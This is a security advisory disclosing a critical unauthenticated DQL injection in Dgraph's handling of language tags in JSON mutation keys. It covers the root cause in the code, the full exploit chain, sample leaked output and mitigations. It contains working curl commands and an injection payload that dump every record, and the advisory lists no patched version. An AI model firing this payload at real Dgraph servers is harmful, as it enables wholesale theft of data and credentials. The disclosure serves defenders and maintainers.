You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field
Critical
matthewmcneely
published
GHSA-x92x-px7w-4gx4Apr 22, 2026
Package
Dgraph
(Dgraph)
Affected versions
<=v25.3.2
Patched versions
None
Description
1. Executive Summary
A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.
The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.
The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.
POC clip:
DGraphPreAuthLangDQL.mp4
2. CVSS Score
CVSS 3.1: 9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metric
Value
Rationale
Attack Vector
Network
HTTP POST to port 8080
Attack Complexity
Low
Two requests, deterministic outcome, no special conditions
Privileges Required
None
No authentication when ACL is disabled (default)
User Interaction
None
Fully automated
Scope
Unchanged
Stays within the Dgraph data layer
Confidentiality
High
Full database exfiltration: all nodes, all predicates, all values
Integrity
High
The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter
Availability
None
No denial of service
3. Vulnerability Summary
Field
Value
Title
Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique
Type
Injection
CWE
CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
x/x.go line 919 (PredicateLang splits on @, returns everything after as Lang)
Lang assignment
chunker/json_parser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))
Validation gap
edgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang)
Injection sink
edgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang)
predicateName build
edgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))
Auth bypass (query)
edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate)
edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltration
dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port
8080 (default)
Prerequisite
A predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter.
5. Test Environment
Component
Version / Details
Host OS
macOS (darwin 25.3.0)
Dgraph
v25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose
1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0
Python
3.x with requests
Network
localhost (127.0.0.1)
6. Vulnerability Detail
Location:edgraph/server.go lines 1778-1808 (addQueryIfUnique) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.
The JSON chunker at json_parser.go:524 splits mutation keys on @ via x.PredicateLang:
addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:
There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.
{
__dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))
leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }
}
The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.
7. Full Chain Explanation
The attacker has no Dgraph credentials and no prior access to the server.
Step 1. The attacker creates the required schema via unauthenticated /alter:
Step 3.mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.
Step 4.x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.
Step 5.validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.
Step 6.addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.
Step 7.dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.
Step 8.authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.
Step 9.processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.
Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.
8. Proof of Concept
Files
File
Purpose
report.md
This vulnerability report
poc.py
Exploit: sets up schema, seeds data, injects, prints leak
docker-compose.yml
Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthLangDQL.mp4
Screen recording of the full attack from start to exfiltration
The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.
Tested Output
$ python3 poc.py
[*] Target: http://localhost:8080
[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique
[+] Schema created: name @unique @index(exact) @lang
[+] Seed data inserted (4 nodes with secrets)
[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true
[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!
============================================================
UID: 0xf5fcd
Type: ['dgraph.graphql']
Name: N/A
Email: N/A
----------------------------------------
UID: 0xf5fce
Type: ['Person']
Name: Alice
Email: alice@example.com
SECRET: s3cr3t_alice
----------------------------------------
UID: 0xf5fcf
Type: ['Person']
Name: Bob
Email: bob@corp.com
SECRET: bob_password_123
----------------------------------------
UID: 0xf5fd0
Type: ['Admin']
Name: root
Email: admin@internal
SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE
----------------------------------------
UID: 0xf5fd1
Type: ['ServiceAccount']
Name: prod-s3-backup
Email: infra@corp.com
AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
----------------------------------------
============================================================
[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field
[+] Impact: Full database read access without authentication
9. Steps to Reproduce
Prerequisites
Python 3 with requests (pip install requests)
Docker and Docker Compose
Step 1: Start Dgraph
cd LEAD_002_DQL_LANG
docker compose up -d
Wait for health:
curl http://localhost:8080/health
Step 2: Run the exploit
python3 poc.py
The PoC handles schema creation, data seeding, and exploitation automatically.
Step 3: Manual reproduction
To reproduce manually without the PoC script:
# Set up schema
curl -s -X POST http://localhost:8080/alter -d 'name: string @unique @index(exact) @lang .email: string @index(exact) .secret: string .aws_access_key_id: string .aws_secret_access_key: string .'# Seed data
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
-H 'Content-Type: application/json' \
-d '{"set":[ {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"}, {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"}, {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"} ]}'# Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
-H 'Content-Type: application/json' \
-d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
| python3 -m json.tool
What to verify
HTTP POST returns 200 (endpoint is reachable without auth)
Response contains data.queries.leak with an array of nodes
The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means
The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow
10. Mitigations and Patch
Location:edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)
Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters.
Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.
Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808.
Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
Learn more on MITRE.
1. Executive Summary
A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.
The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with
@unique @index(exact) @langvia/alter(also unauthenticated in default config). The second sends a crafted JSON mutation to/mutate?commitNow=truewhere a JSON key contains the predicate name followed by@and a DQL injection payload in the language tag position.The injection exploits the
addQueryIfUniquefunction inedgraph/server.go, which constructs DQL queries usingfmt.Sprintfwith unsanitizedpredicateNamethat includes the rawpred.Langvalue. TheLangfield is extracted from JSON mutation keys byx.PredicateLang(), which splits on@, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape theeq()function, adds an arbitrary named query block, and uses a#comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.POC clip:
DGraphPreAuthLangDQL.mp4
2. CVSS Score
CVSS 3.1: 9.1 (Critical)
3. Vulnerability Summary
4. Target Information
x/x.goline 919 (PredicateLangsplits on@, returns everything after asLang)chunker/json_parser.goline 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))edgraph/server.goline 2142 (validateKeyschecksnq.Predicateonly, nevernq.Lang)edgraph/server.goline 1808 (fmt.SprintfwithpredicateNamecontaining rawpred.Lang)edgraph/server.goline 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))edgraph/access.goline 958 (authorizeQueryreturns nil whenAclSecretKey == nil)edgraph/access.goline 788 (authorizeMutationreturns nil whenAclSecretKey == nil)dgraph/cmd/alpha/http.goline 498 (mp["queries"] = json.RawMessage(resp.Json))@unique @index(exact) @langin the schema. The attacker can create this via unauthenticated/alter.5. Test Environment
dgraph/dgraph:latestDocker imagewhitelist=0.0.0.0/0requests6. Vulnerability Detail
Location:
edgraph/server.golines 1778-1808 (addQueryIfUnique)CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
The
/mutateendpoint accepts JSON mutations. When a predicate has the@uniquedirective, theaddQueryIfUniquefunction builds a DQL query to check whether the value already exists.The JSON chunker at
json_parser.go:524splits mutation keys on@viax.PredicateLang:PredicateLangatx/x.go:919splits on the last@and returns everything after it as theLangstring with no validation:validateKeysatserver.go:2142validates onlynq.Predicate. It never touchesnq.Lang:addQueryIfUniqueatserver.go:1778-1808buildspredicateNamefrom the predicate and the rawLang, then interpolates it into a DQL query viafmt.Sprintf:There is no escaping, no parameterization, no structural validation, and no character allowlist applied to
pred.Langanywhere between the HTTP input and thefmt.Sprintfquery construction.An attacker crafts a JSON mutation key:
After
PredicateLangsplits on@:Predicate=name(passes all validation)Lang=en,"x")) leak(func: has(dgraph.type)) { ... } } #(never validated)The constructed DQL becomes:
The
#comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: avarquery (returns empty) and a namedleakquery that exfiltrates all data. The uniqueness check passes (no existingname@enequals"x"), so the mutation succeeds, and the injected query results are returned indata.queries.leak.7. Full Chain Explanation
The attacker has no Dgraph credentials and no prior access to the server.
Step 1. The attacker creates the required schema via unauthenticated
/alter:No
X-Dgraph-AccessTokenheader. In default configuration,/alterhas no authentication when ACL is disabled.Step 2. The attacker sends the injection payload:
Step 3.
mutationHandlerathttp.go:345parses the JSON body. The keyname@en,...is treated as predicatenamewith language tagen,"x")) leak(...) } } #.Step 4.
x.PredicateLangatx.go:919splits the key on the last@. ThePredicateisname. TheLangis the injection payload.Step 5.
validateKeysatserver.go:2142validates onlynq.Predicate(name), which passes.nq.Langis never checked.Step 6.
addQueryIfUniqueatserver.go:1778constructspredicateNameby appending the rawpred.Langat line 1780. At line 1808,fmt.Sprintfinterpolates this into the DQL query string.Step 7.
dql.ParseWithNeedVarsparses the constructed DQL. It encounters the originalvarquery and the injectedleakquery. Both are accepted as valid DQL.Step 8.
authorizeQueryataccess.go:958returnsnilbecauseAclSecretKey == nil(default). No predicate-level authorization is performed.Step 9.
processQueryexecutes both queries. Theleakblock traverses every node with adgraph.typepredicate and returns all requested fields.Step 10. The response is returned to the attacker at
http.go:498. Thedata.queries.leakarray contains every matching node with all their predicates.8. Proof of Concept
Files
ZIP with all the relevant files:
DGraphPreAuthDQLLang.zip
poc.py
The exploit performs three operations: (1) creates the
@unique @index(exact) @langschema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.Tested Output
9. Steps to Reproduce
Prerequisites
requests(pip install requests)Step 1: Start Dgraph
cd LEAD_002_DQL_LANG docker compose up -dWait for health:
Step 2: Run the exploit
The PoC handles schema creation, data seeding, and exploitation automatically.
Step 3: Manual reproduction
To reproduce manually without the PoC script:
What to verify
data.queries.leakwith an array of nodes10. Mitigations and Patch
Location:
edgraph/server.go,addQueryIfUnique(line 1778) andx/x.go,PredicateLang(line 919)nq.Lang: Add validation invalidateKeys(or a newvalidateLangfunction) that restricts theLangfield to BCP 47 language tags:^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject anyLangvalue containing parentheses, braces, quotes,#, newlines, or other DQL-significant characters.fmt.Sprintfquery construction inaddQueryIfUniquewith a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.),{,},",#, newlines) in bothpredicateNameandvalbefore interpolation at line 1808.var(...)block per unique predicate. Any additional blocks indicate injection.